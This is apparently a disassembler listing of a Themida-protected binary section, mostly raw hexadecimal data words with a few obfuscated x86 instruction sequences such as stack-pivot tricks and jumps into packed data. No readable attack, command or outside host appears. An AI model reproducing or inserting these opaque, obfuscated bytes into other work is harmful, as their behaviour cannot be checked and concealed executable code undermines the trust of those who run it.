		dd 4763BB24h, 8408F48h,	0BB084081h, 0FF484763h,	81582434h
		dd 4C4h, 243C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_544ACB
; ---------------------------------------------------------------------------
		dd 6EC1F284h, 4BA942B8h, 0FFC50306h, 984DD9E0h,	74694D64h
		dd 0A85F5F1Dh, 0A603F55Ah, 0E65DA53Eh, 3CADA513h, 0FD9D9535h
		dd 55865E45h, 0B7CA590Dh, 908E2A01h, 0DE843h, 13A90000h
		dd 0C7D3ECA4h, 0A9697910h, 0E9CAE0D2h, 13h, 0C91037EBh
		dd 450E386Fh, 0E6D034AAh, 0DA292001h, 5A7DEF1Dh, 17850Fh
		dd 12E90000h, 0BF000000h, 9C66C33Fh, 0B6A48DB4h, 0A6CCFDD8h
		dd 9C77383Eh, 7C28117h,	0B8000065h, 7095B113h, 6802C081h
		dd 66608F6Ah, 6655BBBFh, 61C010BBh, 0CE8B32FFh,	38E0F5Fh
		dd 0F000000h, 0EF81F1BFh, 133ECAEFh, 0F781EF8Ah, 36F77CDAh
		dd 6E9h, 259CAD00h, 81684FF4h, 5BE463F7h, 0B2E98014h, 66603A89h
		dd 0B406FEBBh, 0EA8161A0h, 38967114h, 0C281CB8Bh, 38967110h
		dd 83F18B66h, 850F01E8h, 0FFFFFFACh
		db 60h
byte_577825	db 0Fh,	0B7h, 0F2h	; DATA XREF: Themida_:0053F414o
		dd 104BEB61h, 3C2F0E09h, 0DA4B1AC5h, 0D41CA4ACh, 0E45C5CD2h
		dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
		dd 0DB6734DFh, 0AACA00A6h, 0EA1A0046h, 0D5A3h, 199C0000h
		dd 0FEC8h, 0FBFE48h, 41280000h,	7DD427E6h, 4CE9C372h, 0F00000Dh
		dd 681h, 0D8D2900h, 8306480Dh, 481949BDh, 850F0006h, 42h
		dd 2E59958Bh, 0F2810648h, 68AD62F0h, 0B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
		dd 754F17E4h, 0C2CF8B66h, 0B2600004h, 2800F05h,	60000000h
		dd 0C08B6161h, 8979BF66h, 20E9BD83h, 75000648h,	61BD8309h
		dd 6482Ch, 53501374h, 0D0B8C08Bh, 8D000004h, 4AAE009Dh
		dd 5BD3FF06h, 61BD8358h, 6482Ch, 53501174h, 4D0B8h, 4D9D8D00h
		dd 0FF064AADh, 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0E436C353h,	8BF9B70Fh
		dd 41BD23C0h, 8D06481Fh, 4BAAFF85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 847497Bh, 504CBF84h
		dd 2EB96660h, 0D38B51E7h, 489615Bh, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 4F11766h, 8DECF464h
		dd 4BAABC85h, 499D0B06h, 5006481Fh, 52506060h, 585A310Fh
		dd 840F1BBAh, 89616101h, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 0BBF0DAC3h, 0C8B550C2h
		dd 0E84BB4B9h, 58D8B3Ch, 0FF06481Ch, 482D7595h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 5297592h, 448B0363h,	8B660424h, 0E78589FBh, 89064BAAh
		dd 482F2195h, 68E0F06h,	0F000000h, 85h,	24448B00h, 0A5858908h
		dd 8906481Dh, 4BAAFB85h, 0B800F06h, 60000000h, 18298D89h
		dd 0B70F0648h, 0BD8361FEh, 6482C55h, 850F00h, 6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0E52C351h, 87AD1ADFh, 276D85C6h, 89470648h
		dd 48281585h, 4E806h, 0A7D20000h, 0F88BD49Ah, 860F50h
		dd 8B000000h, 66042444h, 8BCA22BFh, 0A3BF6000h,	0B9198ACFh
		dd 6E2DC255h, 24448961h, 0E8525004h, 7,	924E3663h, 60AF0DB8h
		dd 310F5B61h, 585AEE8Ah, 0FD9D8B58h, 0FF06480Eh, 482195B5h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0EF8166EDh, 858DA773h, 64B831Eh,	8AC0C181h
		dd 0FE94A1Eh, 60000000h, 0B8E31673h, 0EE097B14h, 0C03AEC9Dh
		dd 0D0FF6CB6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	35C35747h, 2C558589h, 6A0648h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 83943CC3h
		dd 482441BDh, 850F0006h, 97h, 7E8h, 66C8EF00h, 2651B75Bh
		dd 15458D8Bh, 0C65F0648h, 48276D85h, 8B664706h,	4FEB81D3h
		dd 6830EE66h, 3A7FAA6Bh, 77240481h, 8B4F900Bh, 4809958Dh
		dd 95B5FF06h, 8B064821h, 1E858DD0h, 6A064B83h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 88EC352h, 8D12FEBAh,	6AD0FF2Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0B23C356h
		dd 3B33FA33h, 89E2ACF6h, 48244185h, 6D9D2306h, 8306482Bh
		dd 481521BDh, 850F0006h, 12Ah, 6E8h, 0C4C2E700h, 29938E40h
		dd 482DBD9Dh, 85C65A06h, 648276Dh, 0DA8B6656h, 906EFA68h
		dd 0FE860A2h, 20000000h, 55B151C8h, 87715A9Ah, 0C6404C89h
		dd 0B8662FE6h, 0B95FF398h, 640B8C4Dh, 24348161h, 768F03C3h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0ADC35141h
		dd 1795F45Bh, 0B222656h, 12E8h,	8406A400h, 0F9A08F2Dh
		dd 0AEBB4C8Ah, 3678D6E0h, 5F267A05h, 5810Fh, 0C7BF0000h
		dd 0FF4DB271h, 482195B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 14099169h
		dd 0E9F9B70Fh, 10h, 4E6BCDA2h, 0B9C29A6Dh, 7159763h, 153F01FFh
		dd 831E858Dh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0A5B69BC3h, 0D0FFD68Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1FC35747h, 0A01546BEh
		dd 81664C0Fh, 667BD3CFh, 6955F181h, 15218589h, 0B9660648h
		dd 85C6C25Fh, 648276Dh,	95B5896Ch, 8B064829h, 40768DAh
		dd 8B66B163h, 243481DFh, 6A667484h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 3EC35646h, 3228C903h, 254204A7h
		dd 21B5FF9Ah, 6A06482Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 865FC350h, 78858D83h
		dd 6A064838h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 3C51C351h, 0BD2909F2h,	6480DF5h
		dd 10E9h, 35E70A00h, 7B9E0E03h,	0B3C4D39Bh, 0BE431613h
		dd 0FD0FF02h, 0A84h, 81666000h,	80D310C8h, 8961C8D9h, 4BAAEB85h
		dd 0E6EA8106h, 6A0BA744h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 6FD9AB5Fh
		dd 9E93C08h, 58000000h,	90277518h, 9670A1C8h, 0FC2C9168h
		dd 11E9FEh, 0E8A20000h,	0D71B358Fh, 53499F02h, 62C745FDh
		dd 817F1189h, 0E36F2404h, 8B660103h, 45F668DEh,	0B9567812h
		dd 1647361Fh, 2434815Fh, 781345F6h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 0E8C35141h,	1B8763A9h, 10F3C4B9h
		dd 8B006A4Bh, 4195FFCEh, 6006480Dh, 89CBBF0Fh, 4827DDBDh
		dd 85896106h, 64BAAF7h,	91950160h, 8B06481Fh, 482791BDh
		dd 6A6106h, 95D9D8Bh, 4E80648h,	0
		dd 8B000100h, 0FB8B50DAh, 424448Bh, 8840Fh, 8D0F0000h
		dd 2, 8B6160h, 0E9525060h, 0Dh,	2371DF2h, 55AA2C3Fh, 0CAD91C5h
		dd 60310F3Dh, 61585A61h, 4244489h, 0BE958h, 3C880000h
		dd 4BFE855Bh, 1A3CB9F5h, 0CE9906Ch, 0A8000000h,	9016142h
		dd 5075C324h, 50412D0Eh, 6860F60h, 0F000000h, 88h, 6E900h
		dd 0FB780000h, 74AB0C93h, 6A9061h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 996497C3h, 0BB668499h
		dd 0B6A4236h, 0FE9h, 0DFAF9E00h, 0C57325F5h, 0BEFB35EFh
		dd 3C43DC0Ah, 0AAC4858Dh, 6A064Bh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0A537E6C3h, 89C88B50h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0E99C91C3h, 203D9D8Bh, 8D290648h,	6481CD9h
		dd 1DB19523h, 95FF0648h, 6482C55h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 95C35545h, 5AEC6B8h, 9D8B50A2h
		dd 6482C5Dh, 59B5895Ah,	8D06482Ch, 4BAACEB5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9589CC55h, 64805D9h,	895F5650h, 6A2434h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 29CB63C3h
		dd 8E0F5083h, 0Eh, 9E9h, 0F5D5C300h, 501008A3h,	4893393h
		dd 0FFB70F24h, 244195FFh, 810F0648h, 6,	0DF22D981h, 0D0FF2654h
		dd 6D9D8Bh, 0DB800648h,	0F7B58B17h, 6A064BAAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 5B9C355h, 42612573h,	0E5958B20h, 53064828h, 2A3DBD8Bh
		dd 0C7590648h, 4BAAEF85h, 6, 56006A00h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BEF6D95h
		dd 481EF595h, 207E8006h, 70840F00h, 0F000002h, 687h, 8D952900h
		dd 60064805h, 188E0Fh, 13E90000h, 0AB000000h, 0A9C9CCEh
		dd 0B1526E62h, 3075A310h, 0A532E673h, 468D18FCh, 0B19D2B20h
		dd 81064813h, 3D3D5AC3h, 0F385896Ch, 31064BAAh,	480FC1BDh
		dd 8B666006h, 0F08B66F1h, 20E961h, 95890000h, 6481485h
		dd 14E940h, 692F0000h, 6CABE4F7h, 6A7EA0DEh, 3501D5E7h
		dd 0A781357Dh, 3880F96Dh, 0DD850F00h, 0E9FFFFFFh, 42h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4AC35747h
		dd 6A48FCD7h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0B597C356h, 8B496705h,	3880F3A6h
		dd 37840F5Ch, 0B6000000h, 2F388090h, 2C840Fh, 0F600000h
		dd 88h,	6121B500h, 0BE9h, 77796600h, 589D8227h,	0DFD6715Bh
		dd 0AAF3853Bh, 830F064Bh, 0FFFFFFA2h, 18898529h, 0B3400648h
		dd 0FBBD8393h, 64BAAh, 73840Fh,	8D8B0000h, 6482EFDh, 0FEB96690h
		dd 0BB66504Bh, 0F901AF8h, 685h,	0C1B58900h, 3064826h, 4BAAFB85h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 318D0BFAh, 1064810h, 480A5D8Dh, 0C606h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 77C35343h
		dd 9D892506h, 64823A5h,	0BF669058h, 8B50A5ABh, 6A90CAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 348F61C3h, 0AAE7B5FFh, 0C180064Bh, 0EB95FF0Ch, 6A064BAAh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0BD20C357h, 0C3F8C7ABh, 0C00BDDE9h, 46850Fh
		dd 9D8B0000h, 6481DF1h,	99D8B61h, 0C7064807h, 4BAAEF85h
		dd 106h, 6DE900h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0F8F63FC3h, 28282F08h
		dd 9D89322Bh, 6480505h,	52006A61h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1804h, 0C3524200h, 1E6734CFh, 7E95Ch, 0D3B90000h
		dd 0F9005D62h, 1CC6812Ah, 89000001h, 481D75B5h,	0FD8BE906h
		dd 8166FFFFh, 680E38C7h, 6099BD46h, 2DA1BB50h, 81594351h
		dd 3D462434h, 6A6099h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0BD892CC3h, 64804E9h, 8166006Ah
		dd 60BF08D1h, 9DDBD8Bh,	958B0648h, 648064Dh, 0F7B5FF61h
		dd 0F064BAAh, 0C8Ah, 6800F00h, 29000000h, 4804F98Dh, 2195FF06h
		dd 6A064815h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 39BBC356h, 8E9h, 663E2C00h, 76B48FE1h
		dd 8B666081h, 6820FD7h,	33000000h, 481D81B5h, 858B6106h
		dd 64BAAEFh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	98C35545h, 427D702Eh, 0B11E0224h, 0F90F9E4h, 888h
		dd 28C0F00h, 0B7000000h, 8B605096h, 6A9061FAh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 1ADEC355h, 0F242CBE6h, 9BBA66DFh, 0FF858D05h, 6A064BAAh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 8391C355h, 66F557BBh, 50BDC7BBh, 31240489h
		dd 482D3DBDh, 0BC858D06h, 66064BAAh, 9D8BC88Bh,	6482179h
		dd 11E950h, 55600000h, 0FB4B34C3h, 8B542FE4h, 3A1E1D43h
		dd 8939B3AAh, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 6DC559C3h, 8B39FD1Fh, 48065595h
		dd 0FF5B5106h, 4824A995h, 8B05B506h, 0BD83FCC0h, 64820E9h
		dd 83097500h, 482C61BDh, 13740006h, 0C08B5350h,	4D0B8h
		dd 679D8D00h, 0FF064AAEh, 83585BD3h, 482C61BDh,	11740006h
		dd 0D0B85350h, 8D000004h, 4AAD669Dh, 5BD3FF06h,	55006A58h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 31E2365Fh, 50F7BA57h, 0D97923BBh, 93BA5A58h,	0E807C6F7h
		dd 12h,	86C0EAD8h, 5D959ADEh, 5F817D29h, 7428EBD9h, 0E9814BF1h
		dd 765796E2h, 58C08B5Fh, 23D9958Bh, 8C20648h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 3892CE09h, 8B60915Bh, 480EDD9Dh, 0CF816606h,	8B617F78h
		dd 13E8C0h
		db 2 dup(0)
word_5785CE	dw 1912h		; DATA XREF: Themida_:0053CE3Co
					; Themida_:0053D408o ...
		dd 0C51F055Dh, 0A79F0013h, 991A332Bh, 0A52B2187h, 880FDBh
		dd 5B000000h, 0AB18858Dh, 6A064Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 8589F3C3h, 6481E79h
		dd 75E9h, 8C666000h, 0F04A8D8h,	3584h, 0FF016A00h, 482C21B5h
		dd 1E858D06h, 0FF064B83h, 18589D0h, 8B06482Ch, 0CEFC1FEh
		dd 4000068h, 6A006A20h,	0D685702h, 0FF000100h, 482C0195h
		dd 32E906h, 85C60000h, 648276Dh, 30DF6856h, 0B5FFA9C5h
		dd 6482195h, 831E858Dh,	0D0FF064Bh, 1B198589h, 858D0648h
		dd 6481015h, 6A206A50h,	95FF5605h, 6481B19h, 0E0C1C361h
		dd 39EB06h, 0CC00BF00h,	0E400BF02h, 0BF02h, 0EC000000h
		dd 0B47DAB1h, 4F76C3BDh, 6422D2B5h, 0E44FD9B1h,	0A84ED3F6h
		dd 2676F9D8h, 7F22FB94h, 0FD52F8ACh, 3E4AE3B6h,	2646D6BDh
		dd 4222DDB8h, 8922B430h, 77B97D8h, 466E3E81h, 156636DCh
		dd 9822AFDCh, 8F73F6D8h, 6773CFDFh, 7AAF3EDAh, 224FFC2h
		dd 9122DD18h, 6222B430h, 0F27F97D8h, 0BC4E3E85h, 686636DCh
		dd 2622A2DCh, 0D077F2D8h, 82CB7A55h, 9D22B7D8h,	0A1C6785Ah
		dd 4C5E0E6Dh, 0DAB192Eh, 4A6A917Dh, 6CB0A5Bh, 6622B190h
		dd 0E89F34D1h, 0C424FFF4h, 3172AEACh, 889A7753h, 1122B7DCh
		dd 40A165Dh, 0ABF3ADEh,	0EC24FD68h, 0A7AEC0Bh, 8C0ED665h
		dd 7556B7DEh, 889AE488h, 1122B7DCh, 40A165Dh, 3DBF3ADEh
		dd 0EC24FD75h, 0DF7AEC0Bh, 0C4335F87h, 0DC0B7D8h, 0EC974803h
		dd 2096DE02h, 0CA8E2D17h, 70BF0FDAh, 1322BE30h,	355A1BD8h
		dd 54CB5BC2h, 3C7C4522h, 0CBA9D187h, 5AB7753h, 4A6AB715h
		dd 14F321Eh, 7974B190h,	8ACAE2D8h, 0E422B7D8h, 0EB7F7485h
		dd 0B02693B4h, 8426939Ch, 922B7D8h, 0B974748Dh,	0C03BB765h
		dd 0B8164F1Ah, 8C28EA45h, 62265FDEh, 8970B7D8h,	0CA722B70h
		dd 0F09B86D7h, 7C24DF3Fh, 9844E780h, 0AD663C29h, 0B3D80EDCh
		dd 62A9FAC1h, 3122BA31h, 49EA17D8h, 915CAA3Bh, 0E30B82CDh
		dd 57ABDBE5h, 8FCAB3FCh, 1522B7D8h, 52D532D2h, 31275FDDh
		dd 0C3ECB7D8h, 0F32C8487h, 26F3E1F8h, 797AED81h, 8ACAE1D8h
		dd 0E422B7D8h, 0EB7C7486h, 0B02693ACh, 8226939Ch, 0A22B7D8h
		dd 0E633748Eh, 94763C3Fh, 849F3C6Ah, 3B24FFCCh,	2A03226Dh
		dd 6722DDDEh, 9822B430h, 8F7C97D8h, 2563E86h, 376636DCh
		dd 8922ADDCh, 774F1D8h,	8A850D1h, 0BC659693h, 0D3A1A95Dh
		dd 1A22DDDEh, 2622B430h, 0D07C97D8h, 0AD563E86h, 0E06636DCh
		dd 6222A0DCh, 0F274F1D8h, 0D39B2D72h, 18F436BEh, 0F695B8BFh
		dd 35DF2A51h, 59DDB190h, 2C71B7B2h, 6222B7DBh, 6AE1ECF8h
		dd 9C06EB51h, 4806F359h, 2622B7CCh, 0DEE1E49Bh,	80A73A53h
		dd 0C048B190h, 8A77B7B2h, 3122B7DBh, 0C5E1EAF8h, 4806DB51h
		dd 2206F359h, 1322B7C5h, 9CE1E29Dh, 0B65440C3h,	75FD2E4h
		dd 94973E4Ch, 0F024FFFDh, 91B26838h, 0D4A9D788h, 72E33CBEh
		dd 0AD263682h, 0E64D87F8h, 0B3A3E68Bh, 60ADAE87h, 9CCAE887h
		dd 0A022B7D8h, 7622B7DAh, 230E088Ah, 0B82DD4F1h, 9C786653h
		dd 48450988h, 75A9A02Fh, 6AA9B3FCh, 4342B753h, 2622B551h
		dd 0FAF33CD8h, 8922B7D3h, 110AE5D7h, 3A362054h,	50801190h
		dd 9C06F351h, 64FC3780h, 9D85EB61h, 7922DD83h, 8ACAE7D8h
		dd 0E422B7D8h, 0EB7A7480h, 0B026939Ch, 8126939Ch, 0C22B7D8h
		dd 0C2A87488h, 0DAF634C4h, 23EC36BEh, 0C4365E93h, 0EF97B7D8h
		dd 0A3FF4A43h, 579F2B7Dh, 196C9491h, 856D02D9h,	0C3DD9DB2h
		dd 6173B7B2h, 0C422B7DBh, 3BE1EEF8h, 3506FB51h,	9C06F359h
		dd 4C22B7C0h, 0CDE1E699h, 0D343C4D9h, 0A5A722D9h, 41ABB190h
		dd 64690EF8h, 0D973B7B2h, 9822B7DBh, 15E1EEF8h,	2206FB51h
		dd 1706F359h, 8922B7C4h, 11E1E699h, 0CE77CC18h,	2CADF713h
		dd 54274F53h, 0C522B7DAh, 6D9B935Dh, 0BE234DEh,	300A3251h
		dd 411B193h, 62205B61h,	5B8844D8h, 9BCAE7D8h, 6C22B7D8h
		dd 0AF7A7480h, 9226939Ch, 9126939Ch, 8422B7D8h,	0B2687488h
		dd 0C97EF4E4h, 0BF4F321Eh, 0A461B190h, 2622B7DCh, 8F45DC86h
		dd 0D69DD78Bh, 0A457B561h, 327BD6B9h, 31373DD7h, 88CBB7D8h
		dd 0AE22B7D8h, 0D73928DCh, 0E5D48298h, 1A08B4E9h, 4FAD3695h
		dd 8A26939Ch, 3122B7D2h, 0DD9C8BE5h, 81B11D42h,	0AD44BF6Ah
		dd 13A9EE08h, 8922B930h, 0C260E0D8h, 931EC9C2h,	3D7F01FBh
		dd 702F1215h, 4C22B7DEh, 4FB7B9D0h, 41720BC5h, 0D17886D7h
		dd 80ABE887h, 3072B3FCh, 3ED13CBEh, 0C27BE4E9h,	0F109EF80h
		dd 206A9981h, 32B70227h, 3C13B190h, 0C26A8745h,	0E13C3255h
		dd 0A42BB193h, 9E6A926Dh, 0D9136727h, 206AB7EDh, 3FBB3251h
		dd 8948B190h, 0C4215F8Eh, 3C02B7D8h, 45ABE91Bh,	0DCA3B3FCh
		dd 4C39B3FCh, 7064B7D8h, 0D652F11Bh, 49850956h,	5A73AC5h
		dd 5324FFD3h, 79242E55h, 0E5A73EDEh, 2624FFFFh,	25CAE7D8h
		dd 3322B7D8h, 7A7480h, 4526939Ch, 7B26939Ch, 7122B7D8h
		dd 0D6B27488h, 0E35D7B1Ch, 263238D7h, 982DB7D8h, 8922B7D2h
		dd 0C422B231h, 0F37D7ED8h, 0B4E47BFFh, 9E6A90B5h, 4AAEB88Bh
		dd 0A722B7D8h, 0A3C17E1Ah, 82FCDFA5h, 0C0A30A32h, 0A51E4DFCh
		dd 0CE2C01E6h, 0D003226Dh, 119F3EDEh, 0AD24FFD2h, 5B02726Dh
		dd 97A73ADEh, 0F524FC5Bh, 2A3F026Dh, 5BF248DEh,	9BCAE0D8h
		dd 6C22B7D8h, 0AF7D7487h, 922693A4h, 9126939Ch,	8322B7D8h
		dd 0B164748Fh, 66351B99h, 5BF836BEh, 41CBE921h,	7022B7D8h
		dd 1CBDEF49h, 0B81FFF8Dh, 0B60293C0h, 52433251h, 37CAB190h
		dd 0E922B7D8h, 0BDA0C454h, 899BD151h, 96E4EE5Ah, 8F6A90B5h
		dd 9122DD8Bh, 6222B430h, 0F27F97D8h, 0BC4E3E85h, 686636DCh
		dd 2622AADCh, 0D077F2D8h, 0DED196E7h, 9592FE4h,	0F7AB0AF2h
		dd 376AA7C9h, 882B3A53h, 0C74AB190h, 0A7BE8840h, 4F1A93ECh
		dd 76DEF3FFh, 8C03226Dh, 3722DDDEh, 3122B430h, 5B7F97D8h
		dd 684E3E85h, 26636DCh,	1322ADDCh, 4A77F2D8h, 0C63AD871h
		dd 45D9052h, 4B9C4053h,	1551C2CFh, 7A1A95Dh, 0F6DD42DEh
		dd 3BC72253h, 0CABB190h, 0C26AB9EDh, 8A74B7B2h,	3122B7DBh
		dd 0C6E1E9F8h, 4806C351h, 2206F359h, 1322B7C0h,	0F9E1E19Eh
		dd 528911ABh, 528B0AD3h, 8844B190h, 1DE4BFCBh, 4A6A90B5h
		dd 7022DD9Fh, 1322B430h, 4A7C97D8h, 0E0563E86h,	466636DCh
		dd 3122ADDCh, 5B74F1D8h, 423DDF63h, 0D91095Ah, 5B3AEA6Dh
		dd 89265FDEh, 198BB7D8h, 0E12D0006h, 3122B7C0h,	2898E588h
		dd 43552E9Eh, 262A5EE9h, 6960B7D8h, 65DECE05h, 9C788A33h
		dd 46663C88h, 0BA3F02DCh, 965509D8h, 8AB8182h, 0D397B3FCh
		dd 92C43680h, 7666D9A6h, 8C03226Dh, 3522DDDEh, 3122B430h
		dd 5B7D97D8h, 685E3E87h, 26636DCh, 1322AADCh, 4A75F0D8h
		dd 9C8E437Ch, 0AF289E28h, 0BC09DB1Bh, 9E6AB755h, 0CF3C3255h
		dd 93A9B193h, 156A9511h, 53A36727h, 0CE2476BBh,	66D73251h
		dd 3148B190h, 98215F8Eh, 1202B7D8h, 52ABE91Bh, 57A3B3FCh
		dd 893FB3FCh, 9264B7D8h, 4F57491Bh, 8A757FAEh, 0B119BCD3h
		dd 420E245h, 4BA771DEh,	5424FFFFh, 6171B7B2h, 0C422B7DBh
		dd 39E1ECF8h, 3506EB51h, 9C06F359h, 4C22B7C0h, 9AE1E49Bh
		dd 9D857B54h, 8922B930h, 635ECCD8h, 0E17190A6h,	98710225h
		dd 707E434Ch, 4C22B7C8h
dword_578DC4	dd 87C27D5h, 549ACB86h,	281535E9h, 144ED21Dh, 6BC30253h
					; DATA XREF: Themida_:0053D9D4o
					; Themida_:0053DA20o
		dd 6E7BB190h, 991EB2B0h, 50F0DA8h, 22A39BA6h, 0C9F6C2FCh
		dd 0DF22DDC9h, 0C422B430h, 0A17C97D8h, 15563E86h, 0BC6636DCh
		dd 4C22AFDCh, 0E574F1D8h, 0DBC3BE5Ch, 892A5E80h, 3C15B7D8h
		dd 98D2040Bh, 3ECA128Ah, 3822B7D8h, 42D739D2h, 388810E0h
		dd 7C4C3E71h, 4ABF64Fh,	0C26ABB69h, 0F7974886h,	5B24FFF9h
		dd 9BCAE5D8h, 6C22B7D8h, 0AF787482h, 9226938Ch,	9226939Ch
		dd 8622B7D8h, 176B748Ah, 7A42B5C6h, 0DA9A1FFh, 4A6A85C5h
		dd 0A53C3255h, 0EAA9B193h, 42B6727h, 0C26A9D35h, 6D033251h
		dd 5774B190h, 0C7CDBB61h, 6B4F321Eh, 1765B190h,	5B02A24Dh
		dd 72EEDFDEh, 0BA97591h, 0F3068359h, 574A331Fh,	67896859h
		dd 6DB70227h, 2FCBB190h, 8022B7D8h, 1362E71Fh, 0FB5823BFh
		dd 9595B88Bh, 2FA73A87h, 0F224FC5Bh, 4FCAE2D8h,	622B7D8h
		dd 9A7F7485h, 82693B4h,	0D126939Ch, 2722B7D8h, 0EF52748Dh
		dd 9822A531h, 3AC2B9D8h, 0BF0A81FDh, 0AC74E3Dh,	73F0496h
		dd 3B69231Eh, 3222DD08h, 3122B430h, 5B7A97D8h, 68663E80h
		dd 26636DCh, 1322A1DCh,	4A72F7D8h, 0F505F2C5h, 2A0FBE55h
		dd 9CA73EDEh, 0F224FFFDh, 4FCAE4D8h, 622B7D8h, 9A797483h
		dd 8269384h, 0DC26939Ch, 2122B7D8h, 0D199748Bh,	71A21AC5h
		dd 4C22B7D6h, 0FF1BCCBCh, 6A02C6A5h, 727A8A01h,	14DD8F6Bh
		dd 49D33251h, 8C13B190h, 9E6A90E1h, 3E624266h, 0FEAED189h
		dd 1322A430h, 0E9210D8h, 784AC86h, 0EC846BA7h, 9B7516C1h
		dd 0D3724F36h, 869509BEh, 29269382h, 0D328676Fh, 8ABF33D7h
		dd 0C448B7D8h, 62215F8Bh, 6A02B7D8h, 0C4ABEC1Bh, 8A3B3FCh
		dd 263FB3FCh, 4061B7D8h, 0A22AA31Bh, 0D85ABB8Ah, 6326BA0Fh
		dd 7939D64Dh, 0F5A771DEh, 324FFFFh, 0CE75B7B2h,	1322B7DBh
		dd 0D6E1E8F8h, 0C006CB51h, 6606F359h, 3122B7C3h, 3E1E09Fh
		dd 7AB2E2DFh, 0ADA4B435h, 5B04424Dh, 40BD7DEh, 0C26A86C5h
		dd 6EA1DFB9h, 0ED9B18C2h, 1908AFC3h, 2C6393DCh,	0AF42A7BEh
		dd 5B378655h, 88A4B8DEh, 3D22B7D8h, 77AF94B9h, 0CE24FFF0h
		dd 0D003226Dh, 1D22DDDEh, 2622B430h, 0D07B97D8h, 0AD6E3E81h
		dd 0E06636DCh, 6222A2DCh, 0F273F6D8h, 22447E85h, 0C9AF8542h
		dd 206934C6h, 3D5B3A51h, 59DDB190h, 4A1BC6Ah, 622C5EFCh
		dd 62E8B7D8h, 3680C5ACh, 39DA0E71h, 0AF0628DFh,	0F233251h
		dd 8948B190h, 0C4215F8Eh, 3C02B7D8h, 45ABE91Bh,	0DCA3B3FCh
		dd 4C3EB3FCh, 7064B7D8h, 0B1378F1Bh, 0E194C37Fh, 4544E0A8h
		dd 0E9BBCF07h, 7909465Dh, 9DAEB8DEh, 2A22B7D8h,	438D7159h
		dd 368F2A53h, 8948B190h, 0C4215F89h, 3B02B7D8h,	7DABEE1Bh
		dd 0DCA3B3FCh, 4C39B3FCh, 7763B7D8h, 6EBC0F1Bh,	3147BE08h
		dd 1DA786EEh, 2124FFD5h, 0D971B7B2h, 9822B7DBh,	17E1ECF8h
